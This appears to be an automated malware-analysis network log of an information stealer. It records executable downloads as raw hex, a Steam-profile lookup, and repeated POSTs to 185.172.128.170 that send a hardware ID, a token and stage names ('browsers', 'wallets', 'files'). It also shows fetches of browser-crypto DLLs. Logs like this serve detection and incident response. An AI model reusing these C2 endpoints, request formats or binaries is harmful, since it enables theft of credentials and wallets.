Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 11:42:50 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 11:42:57 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: publicExpires: 0Cache-Control: must-revalidate, post-check=0, pre-check=0Cache-Control: privateContent-Disposition: attachment; filename="TWO.file";Content-Transfer-Encoding: binaryContent-Length: 4608Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d9 07 c8 de 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 08 00 00 00 08 00 00 00 00 00 00 de 26 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 00 00 4f 00 00 00 00 40 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 0c 00 00 00 ec 25 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 06 00 00 00 20 00 00 00 08 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 05 00 00 00 40 00 00 00 06 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 00 00 00 00 00 48 00 00 00 02 00 05 00 5c 20 00 00 90 05 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 1e 02 28 0f 00 00 0a 2a 00 00 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 c0 01 00 00 23 7e 00 00 2c 02 00 00 48 02 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 74 04 00 00 04 00 00 00 23 55 53 00 78 04 00 00 10 00 00 00 23 47 55 49 44 00 00 00 88 04 00 00 08 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 47 15 00 00 09 00 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 10 00 00 00 02 00 00 00 02 00 00 00 01 00 00 00 0f 00 00 00 0e 00 00 00 01 00 00 00 01 00 00 00 00 00 78 01 01 00 00 00 00 00 06 00 ed 00 0c 02 06 00 5a 01 0c 02 06 00 21 00 da 01 0f 00 2c 02 00 00 06 00 49 00 b6 01 06 00 d0 00 b6 01 06 00 b1 00 b6 01 06 00 41 01 b6 Data Ascii: MZ@!L!This p

Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.172.128.170Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 36 41 41 45 31 43 44 39 45 33 32 38 38 37 32 30 32 38 37 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="hwid"4B6AAE1CD9E32887202875------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="build"default11------CAEHJEBKFCAKKFIEHDBF--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.172.128.170Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="message"browsers------HIIDGCGCBFBAKFHIJDBA--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJEHost: 185.172.128.170Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="message"plugins------HJKJKKKJJJKJKFHJJJJE--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBKHost: 185.172.128.170Content-Length: 7791Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/sqlite3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.172.128.170Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.172.128.170Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.172.128.170Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file"------HIIDGCGCBFBAKFHIJDBA--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBKHost: 185.172.128.170Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="file"------EBGCGHIDHCBFHIDGHCBK--
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/freebl3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/mozglue.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/msvcp140.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/nss3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/softokn3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/vcruntime140.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 185.172.128.170Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.170Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"wallets------KEHDBAEGIIIEBGCAAFHI--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDHHost: 185.172.128.170Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="message"files------HDAFBGIJKEGIECAAFHDH--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIIIHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJEHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJECFIECBFIDGDAKFHHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEHJDBKJJKFHJEBKFHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKKHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJEHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDAHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFCHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGCHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAKHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIIDHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJDHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJEHJDHJKECBFHDHDHHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAKHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJDHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.172.128.170Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
